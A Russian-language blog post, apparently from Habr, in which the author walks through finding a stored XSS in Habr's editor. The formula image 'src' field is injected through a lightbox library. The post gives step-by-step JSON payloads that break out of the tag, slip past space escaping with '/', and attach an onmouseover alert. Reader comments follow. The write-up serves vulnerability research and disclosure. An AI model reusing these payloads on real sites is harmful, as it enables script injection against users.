Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей о праведном взломе через iframe src , я, как и автор поста @Maxchagin, решил исследовать функционал Хабра на предмет уязвимостей.

Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.

Формулы

Когда вы хотите добавить формулу на Хабр, то вам предлагают сделать всё через красивый интерфейс. Вы вбиваете LaTeX, Хабр рендерит формулу в картинку и вставляет её в текст.

Но если проанализировать запрос, то там просто передаётся json вида:

{
	"type": "formula",
	"attrs": {
		"source": "1+1",
		"src": "https://formula.jpg",
		"inserted":false,
		"width":131,
		"height":17
    }
}

Что превращается в картинку:

<img class="formula" source="1+1" alt="1+1" 
     src="https://formula.jpg" width="131" height="17">

Я решил попробовать вставить src="javascript:" - по привычке вбиваю это везде и смотрю, где что меняется.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Результат:

<img class="formula" source="Смотреть" 
     alt="Смотреть" src="javascript:" width="131" height="17">

Значение src не проверяется ни на что.

В этом есть ряд проблем:

  • Можно указать там ссылку на свой сервер и отдавать картинку, при этом собирая статистику. Поэтому разрешать на ресурсе внешние источники для картинок - уменьшение безопасности юзеров. Ну ладно, чо.

  • Можно через картинку делать любой GET запрос, и если кто-то из разработчиков перепутает "безопасные" (GET, HEAD) и "небезопасные" (POST, PUT, PATCH, ...) типы запросов, то может быть плохо

  • Любая ссылка может быть, ну, любой. И если для <a href="..."> это может быть проблемой (например, кто-то вставит <a href="javascript:alert('xss')"> и превратит ссылку в xss), то для картинок это в принципе безопасно, потому что браузеры не выполняют javascript код в картинке. <img src="javascript:alert('xss')"> можете вставлять на все свои сайты прямо сейчас, всё будет ок. Даже если вы сделаете <img src="evil.svg">, а внутри evil.svg будет скрипт, то он не выполнится. Браузеры умные. Но вот какая проблема: если не работает javascript: и всякие злые картинки, то можно попробовать "вырваться" из текущего контекста. И вот тут нефильтрованные данные очень помогают.

Как вырваться из контекста

Если html выглядит как

<img src="{url}">

то если передать

url = "> <script>alert('xss')</script> <img src="

то это всё развернётся в

<img src=""> <script>alert('xss')</script> <img src="">

что позволит вставить произвольный скрипт в код страницы.

Поэтому когда я вижу, что мой пользовательский ввод попадает куда-то на html-страницу, я сразу туда ставлю <, >, <sc<script>ript> и прочие прикольные конструкции.

И хотя я так делаю, идея эта достаточно тупая - по двум причинам:

  1. Шаблонизаторы по умолчанию безопасные, то есть если даже вы напишете this is {user_input}, то нормальный шаблонизатор (неважно какой - в django это django templates или jinja, например, но принцип везде один и тот же) заэкранирует спец символы и заменит всякие < на &lt;, а " на &quot;

  2. Есть всякие bleach итд, которые умеют "очищать" html код от всякой дичи. Тут две важные вещи: 1) работает очищение как правило на основе белых списков (т.е. списка того, что разрешено), так что любой не разрешённый тег/атрибут будет удалён; шанс, что разрабы разрешили какой-то опасные тег, стремится к нулю 2) публичные библиотеки тестируются кучей разрабов, и вероятность, что именно вы тот самый супергерой, который нашёл баг в годами оттестированной библиотеке, тоже стремится к нулю.

Тем не менее, я не теряю надежды и пробую:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Видите эту дополнительную " после javascript:? Я её заэкранировал, чтобы она была частью атрибута src. Если бы она работала, она позволила бы закрыть атрибут scr и добавить свой html.

Но результат ожидаемый, я вас предупреждал - " превращается в &quot;:

<img class="formula" source="Смотреть" alt="Смотреть" 
     src="javascript:&quot;" width="131" height="17">

И кавычка становится частью текста:

Но тут есть один нюанс, и называется он "чужими руками". Я так называю подход, когда не вы напрямую вставляете плохие данные, а какой-то доверенный код это делает за вас.

Смотрите: разрабы никогда не доверяют пользовательскому вводу. У вас просто нет шансов. С другой стороны, разрабы доверяют своим библиотекам. И если вы заставите библиотеку вставить ваш код, то проверяться это не будет.

Чужими руками в данном случае у нас будет библиотека для т.н. lightbox - то есть отображения картиночек в полный экран с уютным затемнением. Потому что при нажатии на несуществующую картинку эта библиотека включает серый фон, берёт содержимое тега src и вставляет его в ссылку, типа "Вот эту картинку я не могу прогрузить: {src}". Этот кусок html целиком создаётся этой lightbox библиотекой прям на лету, там нет никаких валидаций от разработчиков Хабра. Поэтому моя строка javascript:" вставляется туда как есть, и я успешно закрываю атрибут href своей кавычкой:

Можно ли выбраться из тега <a>? Это же технический ресурс, конечно же да! Просто вставляем javascript:</a>Some text:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some text",
    "inserted":false,
    "width":131,
    "height":17
  }
}

Мы вырвались!

Что делать, когда вырвался

Экспериментировать!

  1. Во-первых, внимательный читатель заметил, что хотя Хабр вставляет формулу как картинку, но lightbox вставляет ссылку, и туда можно запихнуть просто javacript:alert('xss'), и при нажатии на ссылку будет выполняться скрипт, да?

Не совсем:

  • Заставлять пользователя ещё раз кликать, причём по надписи "эта картинка не может быть загружена", будет как-то странно

  • Даже если ссылка и ведёт на javascript:, скрипт всё равно не выполнится, т.к. стоит атрибут target="_blank"

  1. Во-вторых, мы могли бы вставить классический <script>alert('xss')</script>, да?
    Нет, потому что этот кусок html создаётся динамически, и скрипт автоматически выполняться не будет.

  2. Тогда пробуем что-нибудь более извращённое, например, вставить <div onmouseover=alert('xss')>xss</div>. По идее, если юзер проведёт мышкой над этой надписью, то сработает скрипт.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some text
            <div onmouseover=alert('xss')>xss</div><!--",
        "inserted":false,
        "width":131,
        "height":17
    }
}

Кстати, в конце я добавил <!--, чтобы весь последующий html закомментировался и не показывалось сообщение "Эта картинка не может быть загружена". Это похоже на sql injection, где используют --, чтобы закомментировать оригинальный sql запрос.

Облом! Оказывается, там есть "poor man's escaping" - пробелы превращаются в %20. А мне они нужны для задания атрибута onmouseover.

Я уже думал, что тут наши полномочия как бы всё, но я решил погуглить какой-нибудь нечитаемый RFC, чтобы узнать, какие разделители атрибутов существуют.

Никогда не догадаетесь.

Спасибо тебе, чувак! Короче, можно написать <div/onmouseover=alert('xss')>. Да, / - это разделитель. Потому что могут.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some&nbsp;text
            <div/onmouseover=alert('xss')>xss</div><!--",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Ну вот, теперь жить можно. Осталось оформить это для пользователей, ui/ux, вот это всё. Я расширил <div> на весь экран (css, гори в аду!), добавил кота на фоновую картинку (сыграло на руку то, что внутри style=... можно не писать пробелы), текст поправил, и вышло вот что:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>
            <div/onmouseover=alert('xss')>
                <div/style=\"position:fixed;bottom:0;width:100%;height:100vh;background-image:url('https://kot-i-koshka.ru/wp-content/uploads/2017/11/zloj_kot_agressivnyj_prichiny_1510142737_5a02f3116e9cb.jpg');background-position:center;background-repeat:no-repeat;background-size:cover;\">&nbsp;</div>
            </div><!--<a",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Выводы

А нет никаких выводов. Вы сами всё знаете. Я зол, как кот на картинке, и чувство вины гложет меня изнутри. Стараюсь вот развлекаться. Жаль, что взломы сайтиков ни на что не влияют.

Оставайтесь людьми и делайте всё, что в ваших силах, даже если вам кажется это незначительным.


Подписывайтесь на мой канал "Блог погромиста", там скоро будет новый онлайн-квест.

Комментарии (16)


  1. ErhoSen
    17.03.2022 13:54
    +76

    Интересно, когда хабр уже "закопает стюардессу", и добавит простой markdown редактор.


    1. Hrodvitnir
      17.03.2022 14:04
      +24

      Да, вариант с MD мне нравился гораздо больше. Сидишь себе пишешь статью в VS Code с MD плагином и пьешь кофеек, а не вот это вот все.


    1. staticmain
      17.03.2022 14:22
      +7

      Да если бы их визивиг хоть как-то адекватно работал, а не делал отдельный запрос на сервер на каждый абзац со слипом в секунду между запросами…

      Коллеги добрались до вашей ситуации и попытались разобраться. К сожалению на данный момент как-то исправить эту ситуацию мы не можем — наш визивиг воспринимает разметку как обычный текст и не парсит маркдаун. Маркдаун в гуглодоке парсится как html.


    1. Amareis
      17.03.2022 14:39

      А лучше AsciiDoc


  1. Voldemaar
    17.03.2022 14:29
    -1

    Исправить "атирубута".


    1. kesn Автор
      17.03.2022 14:33
      +18

      Так точно, товарищ майор.


  1. kamisatoayaka
    17.03.2022 14:45
    +39

    Веб-разработчики пишут небезопасный код по умолчанию

    Да что тут говорить, если оно всё тормозит невероятно. Крутится и крутится по полминуты после каждого клика, JavaScript, видите ли, рисует. Просто отдать с сервера html, отображаемый чуть ли не со скоростью моргания человеческого глаза нельзя, это фу устаревшее. Дорогие разработчики, слезьте на день со своих топовых маков и откройте своё чудо на планшете/ноутбуке 2015 или 2012 года.


    1. alfixer
      17.03.2022 14:53
      +22

      На медленном интернете.


  1. nerudo
    17.03.2022 14:49
    +12

    А я знаю баг, за счет которого можно увидеть некоторые «удаленные» комментарии. Но рассказывать не буду ;)


    1. Un_ka
      17.03.2022 17:23
      +3

      Затёртые НЛО или отредактированные до точки?


    1. Protos
      19.03.2022 16:59

      Ждем статью


  1. F0iL
    17.03.2022 15:12
    +36

    Хммм.... :)


    1. Pashkevich
      17.03.2022 21:05
      -3

      Надеюсь случайное совпадение


  1. breslavsky
    17.03.2022 17:41

    Отличная статья! У меня тоже был разбор ошибки в API хабра тут https://habr.com/ru/post/647957/


  1. icecube092
    18.03.2022 00:57

    На любом сайте можно найти XSS, стоит только захотеть. Это практически неубиваемая уязвимость.


  1. Protos
    19.03.2022 17:00

    Я бы хотел научиться магии тоже